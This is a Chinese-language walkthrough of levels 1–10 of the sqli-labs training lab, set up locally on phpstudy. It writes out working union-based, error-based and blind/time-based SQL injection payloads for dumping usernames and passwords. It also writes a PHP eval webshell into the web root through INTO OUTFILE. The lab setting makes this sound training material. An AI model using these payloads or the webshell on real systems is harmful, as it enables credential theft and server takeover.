在進行闖關練習之前我先進行一下環境的安裝構造。
1、sqli-labs 下載、安裝
下載地址:https://github.com/audi-1/sqli-labs
phpstudy:http://down.php.cn/phpstudy20180211.zip
所需安裝環境支持包:http://www.pc6.com/softview/softview_104246.html
2將下載的 SQLi-Labs.zip 解壓到phpstudy網站根目錄下。
例如:我這解壓后的路徑是“F:\phpStudy\WWW\sqli-labs”。
3、修改 db-creds.inc 里代碼如下:
例如:我的配置文件路徑是“F:\phpStudy\WWW\sqli-labs\sql-connections”。
<?php //give your mysql connection username n password $dbuser ='root'; $dbpass ='root'; $dbname ="security"; $host = 'localhost'; $dbname1 = "challenges";
因為phpstudy默認的mysql數據庫地址是“127.0.0.1 或 localhost",用戶名和密碼都是"root"。主要是修改’$dbpass‘為root,這里很重要,修改后自然是需要保存文件的,這個不用說相信大家也能知道。
4、瀏覽器打開“http://127.0.0.1/sqli-labs/”訪問首頁,並點擊“Setup/reset Database”以創建數據庫,創建表並填充數據。

5、現在瀏覽器打開 "http://127.0.0.1/sqli-labs/"向下翻,就可以看到有很多不同的注入點了,分為基本SQL注入、高級SQL注入、SQL堆疊注入、挑戰四個部份,總共約75個SQL注入漏洞。
好了,做完准備工作后我們就可以來進行訓練了!
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
注意:我們做這些題的最終目的都是能得出用戶名和密碼。
第一關GET - Error based - Single quotes - String(基於錯誤的GET單引號字符型注入)和第二關GET - Error based - Intiger based (基於錯誤的GET整型注入):
其實第一關和第二關基本差不多,他們的區別是:第一關是字符型注入,而第二關是數字型注入,基本的查詢語句以及方法都是差不多的。(可以用1和1’進行一下區分)
首先我們需要進行一下判斷:?id=1 and 1=2 --+是否是字符型注入,我們看到回顯正常,不是數字型注入。id=1 and 1=1 --+
我們在后面加上--+進行一下閉合,(--+就是注釋符號,注釋了后面的語句),look,回顯正常,說明是單引號字符型注入
接下來判斷表有幾列數劇,我們經過試驗發現有三列—(?id=1' order by 3 --+)
接下來我們我們來找出顯示位。(?id=1' and 1=2 union select 1,2,3 --+),經過試驗發現2、3位是顯示位,那么我們就可以從這兩個突破口進行突破。也可以找一個不存在的id來進行試驗都可以
接下來我們就來找出數據庫的數據庫名、表名、列名、和字段的信息。
我們先查一下版本和名字:(?id=1' and 1=2 union select 1,version(),database() --+)
接下來可以依據這個和回顯位來進行數據庫名字的查看:?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查詢security的所有表的表名:?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
接着爆破出列名:?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
最后就可以查找出用戶名和密碼了:?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
其實第二關也和第一關差不多,只不過第二關是數字型注入。可以知道為數字型注入,不用考慮閉合sql語句,比第一關還簡單:
3、GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字符型注入)-4關GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字符型注入)也是一樣 只不過閉合符號不一樣了些 需要 ') 來閉合
三關 :是基於錯誤的GET單引號變形字符型注入:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; }else{ print_r(mysql_error()); }
四關:這關是基於錯誤的GET雙引號變形字符型注入:
(我們可以根據輸出的sql語句或者觀察源代碼或者測試得出格式為(”“),所以需要閉合的語句變成了”))
第五關GET - Double Injection - Single Quotes - String (雙注入GET單引號字符型注入):我們發現沒有顯位,通常這種時候會有三種結果:布爾盲注(利用二分法能簡單些)、時間延遲注入、報錯型注入(三種)。
輸入錯誤的?id=1‘觀察:顯示報錯,所以一定存在注入漏洞
接下來我們來用我們熟悉的二分法進行破解:
首先我們依舊可以猜出他的字段:三位
接下來就是進行數據庫名稱的爆破:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通過二分法不斷縮小范圍。可以不斷的出數據庫名稱:第三個字母c代表的ASCII值為99,以此類推:security
(如果結果正確就會有回顯,錯誤則沒有)
接下來進行數據庫下表的爆破:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
第一張表的第一個字母'e' 四張表: emails referer 最后一張users
接下來繼續爆列,得出第二列是用戶名,第三列是密碼;
?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+
最后一步爆用戶名和密碼(只截取第一個用戶和密碼,大小不確定)
當然還有第二種方法:報錯注入,這個做起來相當簡單,先來介紹一下三種報錯方法。
(1). 通過floor報錯
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句
需要注意的是該語句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字符長度也做了限制,其最長輸出32位
並且該語句對payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字符有長度限制,最長32位。
我們接下來以floor為例演示一下:
?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
爆表名:?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆列:
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆用戶名、密碼:
?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
此時密碼並不是Dumb0,這個0是floor報錯語句中輸出的也一部分(無論輸出什么結果,都會有這個0,有時候是1,不知道咋回事,上面的也是)
好了,第五關就結束了。
第六關GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入):和第五關差別不大,只是將1’換成了1“
第七關GET - Dump into outfile - String (導出文件GET字符型注入):還是了老樣子,判斷一下是數字型還是字符型的。
但是不知道怎么回事在界面上卻出現了我們從才來沒有見過的東西,use outfile,這也許也是一個解題的線索吧!
可能會有很多小白和我一樣,對數據庫file權限和 into outfile這個命令比較陌生,所以在這里科普一下file權限和into outfile這個函數。
數據庫的file權限規定了數據庫用戶是否有權限向操作系統內寫入和讀取已存在的權限
into outfile命令是filefile系列函數來進行讀取敏感文件或者寫入webshell
所以我們就可以根據提示來往數據庫中寫入文件來解答此題!
既然是字符型的,我們 就用?id=1' --+來試驗,發現卻不行?
我們就在其后面添加 ' ) ")')) ")) 來進行一下嘗試:
當發現是1'))的時候,我們發現可以,回顯正常。
接下來我們就來進行文件的創建:(由於我用的是phpstudy搭建的環境,所以我直接在我本機取一個目錄就好),記住:主要這里的路徑要用雙斜杠\\,否則建立出來的文件名會加前綴。
union select 1,2,3 into outfile "C:\\phpStudy\\\\MySQL\\data\\liyingkun.php"
查看一下文件,雖然提示失敗了,但是我們確實創建成功了!(需要注意的是利用數據庫file權限向操作系統寫入文件時, 對於相同文件名的文件不能覆蓋,所以如果第一次上傳liyingkun.php,下次再上傳liyingkun.php,就是無效命令了,也就是新的liyingkun.php中的內容並不會覆蓋,之前的liyingkun.php)
union select 1,2,3 into outfile "C:\\phpStudy\\MySQL\\data\\liyingkun.php"
接下來我們在這個文件內加一句 木馬,那樣我們就可以通過此文件進入到數據庫了。(如果寫到www文件夾下就可以用localhost前綴了,便於用菜刀查詢)
?id=1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\\\WWW\\liyingkun.php" --+
用中國菜刀,我們就可以獲取這個文件夾的結構了。
好的!雖然忙了好長時間,終於完成了,愉快的結束吧!
第八關:GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)
經過測試發現是字符型注入,並且通過回顯可以看出是布爾盲注。
經過測試發現是 ?id=1' 也和本第七關一樣有file權限,這關就這樣了!
當然,也可以用二分法猜測來做,還有一種就是時間注入,簡單演示一下。
時間延遲型手工注入,正確會延遲,錯誤沒有延遲。id無所謂,又不看回顯,可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利於觀察。
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
時間延遲型和報錯型payload核心部分的構造相同
本方法中payload = ?id=1' and if(報錯型payload核心部分,sleep(5),1)--+
爆庫長payload
?id=1' and if(length(database())=8,sleep(5),1)--+
明顯延遲,數據庫長度為8.
爆庫名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明顯延遲,數據庫第一個字符為s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
通過堅持不懈的測試,終於在limit 3,1 爆破出user表名為users.
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky,接下來爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。
好了,就先這樣吧!
第九關:GET - Blind - Time based. - Single Quotes (基於時間的GET單引號盲注)
首先判斷是什么注入類型,這里我們嘗試使用單引號和雙引號閉合,發現頁面回顯一直正常,說明該關卡可能將我們的單雙引號給退意了。這個時候輸入什么都回顯正常。經過sleep()函數來測試判斷是字符型注入,並且是時間延遲型注入。
(咋判斷是不是延遲型,當你用二分法時不管左邊還是右邊都是對的,說明二分法就做不了了,這個也需要試一下。)
只有這個有延遲:
這一關和上一關介紹的方法基本一樣。可以參考上一關。
第十關GET - Blind - Time based - double quotes (基於時間的雙引號盲注):這一關只不過是將單引號 換成了雙引號。還是一樣。
可以看到延遲。
爆用戶名和密碼
好了,愉快的結束了。(前十關)